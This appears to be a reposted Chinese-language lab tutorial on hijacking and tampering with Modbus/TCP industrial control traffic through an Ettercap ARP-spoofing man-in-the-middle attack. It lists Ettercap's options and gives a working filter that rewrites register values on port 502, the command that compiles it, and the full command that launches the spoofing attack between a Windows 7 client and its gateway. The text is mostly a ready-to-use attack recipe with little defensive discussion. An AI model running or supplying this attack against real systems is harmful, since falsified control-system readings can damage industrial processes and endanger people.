实验环境:

  • 中间人环境:
    • OS:linux Kali 4.14.0-kali3-amd64 #1 SMP Debian 4.14.12-2kali1(2018-01-08)x86_64 GUN/Linux
  • 被劫持机器:
    • OS:Windows 7 SP1 x64
    • IP:172.16.125.129(使用的虚拟机,与宿主机采用共享方式网络)
  • 数据服务器:
    • OS:Windows 10 x64
    • IP:192.168.1.117

通过 ETTERCAP 中间人插件实现对工业控制协议的劫持与篡改

0x00 前言

中间人攻击(Man-in-the-Middle Attack, MITM)是一种由来已久的网络入侵手段,并且在今天仍然有着广泛的发展空间,如SMB会话劫持、DNS欺骗等攻击都是典型的MITM攻击。简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。

随着计算机通信网技术的不断发展,MITM攻击也越来越多样化。最初,攻击者只要将网卡设为混杂模式,伪装成代理服务器监听特定的流量就可以实现攻击,这是因为很多通信协议都是以明文来进行传输的,如HTTP、FTP、Telnet等。后来,随着交换机代替集线器,简单的嗅探攻击已经不能成功,必须先进行ARP欺骗才行。如今,越来越多的服务商(网上银行,邮箱登陆)开始采用加密通信,SSL(Secure Sockets Layer 安全套接层)是一种广泛使用的技术,HTTPS、FTPS等都是建立在其基础上的。

0x01 攻击方式

中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)中间人攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到今天还具有极大的扩展空间。

在网络安全方面,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持、DNS欺骗等技术都是典型的MITM攻击手段。在黑客技术越来越多的运用于以获取经济利益为目标的情况下时,MITM攻击成为对网银、网游、网上交易等最有威胁并且最具破坏性的一种攻击方式。

 

0x02 Ettercap 简介

Ettercap在中间人攻击的一套完整的。它的特点是嗅探实时连接、即时过滤内容和其他有趣的技巧。它支持主动和被动解剖许多协议,包括网络和主机分析的许多特点。

Ettercap 帮助

用法:Ettercap [OPTIONS] [TARGET1] [TARGET2]

TARGET 可以是 MAC/IP/IPV6/PORTs的任意一个(详情看下面介绍)

  • 抓包和攻击设置:

-M,–mitm<METHOD:ARGS>             执行一个中间人攻击

-o,–only-mitm                                       不进行抓包嗅探,只进行中间人攻击

-b,–broadcast                                        抓取网络广播包

-B,–bridge<IFACE>                               使用网络桥接进行嗅探

-P,–nopromisc                                      不实用网络promisc模式

-S,–nosslmitm                                     不伪造SSL证书

-u,–unoffensive                                   不转发数据包

-r,–read<file>                                        从pcap文件读取数据

-f,–pcapfilter<string>                         设置pcap过滤器<string>

-R,–reversed                                        使用反向目标匹配

-t,–proto<proto>                                  嗅探指定协议(默认所有协议)

–certificate<file>                              使用SSL中间人证书

–private-key<file>                            使用SSL私有key

  • 用户界面类型:

-T,–text                                                 图形界面使用text模式

-q,–quiet                                        不显示数据包内容

-s,–script<CMD>                          向图形界面发送CMD命令

-C,–curses                                          使用curses图形界面

-D,–daemon                                        使用Daemon模式

-G,–gtk                                                使用GTK+图形界面

  • 日志设置:

-w,–write<file>                    嗅探到的数据写入pcap文件

-L,–log<file>                      把所有流量记录到这个文件

-l,–log-info<file>                 仅记录被动信息到这个文件

-m,–log-msg<file>                  把所有消息记录到这个文件

-c,–compress                             使用gzip压缩日志文件

  • 可视化设置:

-d,–dns                                  将IP转换域名

-V,–visual<format>                 设置可视化格式

-e,–regex<regex>                   可视化数据包匹配正则表达式

-E,–ext-headers                    显示每个PCK的扩展头

-Q,–superquiet                     不显示用户及密码

  • Lua 设置:

–lua-script<script1>,[<script2>,……]          以逗号分隔的lua脚本列表

–lua-args n1=v1,[n2=v2,……]       以逗号分隔的lua参数

  • 一般设置:

-i,–iface<iface>                   使用个这个物理网卡

-I,–liface                         显示所有的物理网卡

-Y,–secondary<ifaces>        次要物理网卡

-n,–netmask<netmask>         设置子网掩码

-A,–address<address>         设置IP地址

-P,–plugin<plugin>                 启动插件

-F,–filter<file>                   加载过滤器

-z,–silent                         不执行初始ARP扫描

-6,–ip6scan                              发送IPv6的ICMP包,嗅探IPv6设备

-j,–load-host<file>                从文件加载host列表

-k,–save-host<file>                保存host列表到文件

-W,–wifi-key<key>                  使用密码解密WIFI数据包

-a,–config<config>                 选择配置文件

  • 标准设置:

-v,–version                              显示版本并退出

-h,–help                                 显示帮助

0x03 Ettercap 过滤器文件

每个过滤器编写需要根据测试环境的不同,修改具体细节。本例的过滤器为替换03功能码,采集1-100个寄存器的时候,第一个寄存器的内容修改。详细代码如下:


if(ip.proto == TCP && tcp.dst == 502)

{

msg(“Got dst 502 port data !!!n”);

if (search(DATA.data, “x03xc8”))

{

replace(“xc8x00x00”, “xc8x12x34”);

msg(“replace done!!”);

}

}

if (ip.proto == TCP && tcp.src == 502)

{

msg(“Got src 502 port data !!!n”);

if (search(DATA.data, “x03xc8”))

{

replace(“xc8x00x00”, “xc8x12x34”);

msg(“replace done!!!”);

}

}


过滤器的代码很简单,稍微有点编程能力的人,都可以看懂。我此代码保存成ettercapfilter.py 。实际上Ettercap 所认可的过滤器文件格式为ef格式,所以下一步将上面写完的编辑器文件转成ef格式,命令如下:

#ettercap ettercapfilter.py –o ettercapfilter.ef

生成好的ef文件就可以使用了。

0x04 攻击过程

  • 首先我们看Modbus Server端的情况

通过 ETTERCAP 中间人插件实现对工业控制协议的劫持与篡改

此时,在40001地址里并没有任何数据。

  • 接下来我们使用ModScan32 去采集Modbus Server的数据,如下图所示:

通过 ETTERCAP 中间人插件实现对工业控制协议的劫持与篡改

  • 启动 Ettercap 中间人攻击

启动命令:

1、先设置系统转发

#echo 1 > /proc/sys/net/ipv4/ip_forward

2、启动中间人攻击(ettercap -i  本机网卡 -Tq -M arp:remote /“目标IP地址”// /“网关”// -F XXX.ef)

#ettercap -i eth0 -Tq -M arp:remote /172.16.125.129// /172.16.125.2// -F ettercapfilter.ef

只要正常启动就可以查看攻击结果了。

  • 查看攻击结果

通过 ETTERCAP 中间人插件实现对工业控制协议的劫持与篡改

本文来源于互联网:通过 ETTERCAP 中间人插件实现对工业控制协议的劫持与篡改